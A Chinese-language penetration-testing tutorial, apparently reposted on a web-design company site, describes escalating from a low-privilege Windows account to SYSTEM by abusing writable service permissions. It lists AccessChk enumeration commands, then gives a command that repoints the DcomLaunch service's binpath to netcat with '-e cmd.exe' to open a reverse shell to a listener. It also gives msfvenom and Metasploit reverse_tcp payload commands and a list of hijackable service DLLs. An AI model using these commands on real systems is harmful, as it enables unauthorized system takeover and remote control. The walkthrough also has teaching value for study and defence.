Windows低权限进程或服务提权

在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理主要是通过微软的AccessChk工具软件,配合sc来操作服务,通过服务的重启而得到权限。

创新互联公司专注于德城企业网站建设,响应式网站设计,商城网站建设。德城网站建设公司,为德城等地区提供建站服务。全流程按需定制开发,专业设计,全程项目跟踪,创新互联公司专业和态度为您提供的服务

一、AccessChk简介及使用

1. AccessChk简介

AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1,新版本存在一些bug,在实际使用时会提示需要多个dll文件,在本案例中使用的是3.0版本,其官方网站下载地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx

AccessChk主要用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限详细情况,在实际配置过程中如果权限设置失误,则就可以被用来提权。

2. 使用AccessChk

命令行下第一次运行需要同意一个许可,如果不想出现那个提示窗口,则可以执行“accesschk.exe /accepteula”。其主要参数如下:

 
 
 
 
  1. usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t ]][-c]|[-d]] [[-l [-i]]|[username]]  

这个命令分为三个部分accesschk是程序名;第一个参数有9个可选项[],部分可选项里还有可选参数;第二个参数是一个目标,这个目标可以是文件,目录,注册项,进程,服务,对象。

  • -a 名称是Windows帐户权限。指定“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者组时才显示指派的权限。
  • -c 显示服务名称,“*”显示所有服务。
  • -d 仅处理目录或顶级键
  • -e 只显示显式设置完整性级别(Windows Vista和更高版本系统)
  • -f 显示包含组和特权的完整过程令牌信息
  • -k 注册表键值,例如 hklm\software
  • -i 在取消完全访问控制列表时忽略只继承继承符的对象
  • -l 显示全部访问控制列表。添加“-I”忽略继承ACEs
  • -n 仅显示没有访问权限的对象
  • -o 名称是对象管理器命名空间中的一个对象(默认是root)。查看一个目录的内容,用反斜线或-S-T和对象类型指定名称
  • -p 进程名或者PID,例如cmd.exe (使用 '*'显示所有的进程). 加“-f ”显示包括组和特权的所有进程令牌信息,加“-t”显示线程。
  • -q 省略标识
  • -r 显示对象只读属性
  • -s 递归
  • -t 对象类型筛选器
  • -u 抑制错误
  • -v 冗长(包括Windows Vista完整性级别)
  • -w 仅显示具有写访问的对象

(1)查看用户服务,查看管理员组、users组下所有服务:

 
 
 
 
  1. accesschk administrators -c * 
  2. accesschk users -c * 

如图1所示,可以对某个用户进行查看,主要用来提权用,例如查看simeon用户具备读写服务器权限:

accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *

图1查看指定用户的服务权限

(2)查看用户组对系统服务具备写权限,如果有则会显示,否则会提示“No matching objects found”。

 
 
 
 
  1. accesschk.exe -uwcqv "Authenticated Users" * 
  2. accesschk.exe -uwcqv "Administrators" * 
  3. accesschk.exe -uwcqv "Backup Operators" * 
  4. accesschk.exe -uwcqv "Distributed COM Users" * 
  5. accesschk.exe -uwcqv "Guests" * 
  6. accesschk.exe -uwcqv "HelpServicesGroup" * 
  7. accesschk.exe -uwcqv "IIS_WPG" * 
  8. accesschk.exe -uwcqv "Network Configuration Operators" * 
  9. accesschk.exe -uwcqv "Performance Monitor Users" * 
  10. accesschk.exe -uwcqv "Performance Log Users" * 
  11. accesschk.exe -uwcqv "Power Users" * 
  12. accesschk.exe -uwcqv "Print Operators" * 
  13. accesschk.exe -uwcqv "Remote Desktop Users" * 
  14. accesschk.exe -uwcqv "Replicator" * 
  15. accesschk.exe -uwcqv "TelnetClients" * 
  16. accesschk.exe -uwcqv "Users" * 

二、获取低权限可操作服务名称

1. 实验环境

(1)本次实验环境为Windows 2003 Sever SP3,用户simeon属于power user组,可以登录系统。

(2)IP地址:192.168.52.175

(3)监听服务IP:192.168.52.215

(4)nc.exe复制到c:\windows\temp目录

2. 获取可读写的服务

执行命令以下命令获取Power Users组可以操作的服务名称信息,如图2所示。

 
 
 
 
  1. accesschk.exe -uwcqv "Power Users" * 

执行后显示结果如下:

 
 
 
 
  1. RW DcomLaunch 
  2.         SERVICE_QUERY_STATUS 
  3.         SERVICE_QUERY_CONFIG 
  4.         SERVICE_CHANGE_CONFIG 
  5.         SERVICE_INTERROGATE 
  6.         SERVICE_ENUMERATE_DEPENDENTS 
  7.         READ_CONTROL 
  8. RW kdc 
  9.         SERVICE_QUERY_STATUS 
  10.         SERVICE_QUERY_CONFIG 
  11.         SERVICE_CHANGE_CONFIG 
  12.         SERVICE_INTERROGATE 
  13.         SERVICE_ENUMERATE_DEPENDENTS 
  14.         READ_CONTROL 

图2获取可读写的服务名称信息

3. 查询服务详细信息

服务名称为“DcomLaunch”、“kdc”可以被simeon用户进行操作。使用sc qc kdc命令查询kdc服务的详细信息,如图3所示,可以看到该服务是以系统权限运行的。

图3查询kdc服务详细信息

4 .决定使用那个服务

执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图4所示,在启动服务列表中发现“DCOM Server Process Launcher”服务名称。

 
 
 
 
  1. net start | find "DCOM Server Process Launcher"  
  2. net start | find "Kerberos Key Distribution Center" 

图4获取服务名称

5. 获取服务名称对应的服务

使用命令“tasklist /svc”,如图5所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。

图5获取DcomLaunch服务信息

三、修改服务并获取系统权限

1. 修改服务参数binpath值

使用sc命令对服务进行修改:

 
 
 
 
  1. sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe" 

如图6所示,执行命令后,显示修改服务配置成功,再次使用sc qc DcomLaunch,显示执行文件已经更改为:

 
 
 
 
  1. C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe 

查询服务:sc qc DcomLaunch

图6修改服务binpath值

2. 启动服务

先执行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通过命令下启动,使用“net start DcomLaunch”命令,也可以通过services.msc服务管理器重启该服务,如图7所示。

图7重新启动服务

3. 反弹获取服务器权限

如图8所示,在反弹服务器中192.168.52.215监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。

图8反弹获取系统权限

4. 总结

在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替换:

 
 
 
 
  1. IKE and AuthIP IPsec Keying Modules (IKEEXT)    – wlbsctrl.dll 
  2. Windows Media Center Receiver Service (ehRecvr)    – ehETW.dll 
  3. Windows Media Center Scheduler Service (ehSched)  – ehETW.dll 
  4. Automatic Updates (wuauserv)    – ifsproxy.dll 
  5. Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll 
  6. Remote Access Connection Manager (RasMan)   – ipbootp.dll 
  7. Windows Management Instrumentation (winmgmt)    – wbemcore.dll 
  8. Audio Service (STacSV)    – SFFXComm.dll SFCOM.DLL  
  9. Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)  – DriverSim.dll 
  10. Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll 

(1)使用msf生成exe文件

Linux msf监听4433端口

 
 
 
 
  1. ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe 

windows下监听4433端口

 
 
 
 
  1. ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe 

其中平台参数(-p)可以设置为以下的一些,也可以使用msfvenom -l payload | grep 'reverse'进行查看和选择:

 
 
 
 
  1. windows/shell/reverse_tcp 
  2. windows/x64/shell_reverse_tcp 
  3. windows/shell_reverse_tcp 
  4. windows/shell/reverse_tcp 

(2)在msf上面执行

 
 
 
 
  1. set payload windows/meterpreter/reverse_tcp 
  2. show options 
  3. set lhost 192.168.52.215 
  4. set lport 4433 
  5. run 0 

(3)将生成的/tmp/my_payload.exe按照本文上面的方法执行后即可得到反弹的webshell

【原创稿件,合作站点转载请注明原文作者和出处为.com】

分享文章:Windows低权限进程或服务提权
文章出自:http://www.stwzsj.com/qtweb/news19/17219.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联